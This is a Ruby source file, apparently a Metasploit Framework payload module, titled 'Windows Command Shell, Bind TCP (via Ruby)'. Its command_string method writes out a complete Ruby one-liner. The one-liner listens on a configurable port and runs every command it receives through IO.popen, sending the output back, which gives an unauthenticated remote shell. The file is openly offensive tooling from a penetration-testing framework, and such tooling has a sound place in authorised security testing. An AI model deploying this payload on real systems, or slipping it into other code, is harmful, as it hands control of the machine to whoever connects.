41 lines
1.2 KiB
Ruby
41 lines
1.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/handler/bind_tcp'
|
|
require 'msf/base/sessions/command_shell'
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 128
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Windows Command Shell, Bind TCP (via Ruby)',
|
|
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
|
|
'Author' => 'kris katterjohn',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'ruby',
|
|
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
|
))
|
|
end
|
|
|
|
def generate
|
|
return super + command_string
|
|
end
|
|
|
|
def command_string
|
|
"ruby -rsocket -e \"s=TCPServer.new(\\\"#{datastore['LPORT']}\\\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end;end\""
|
|
end
|
|
end
|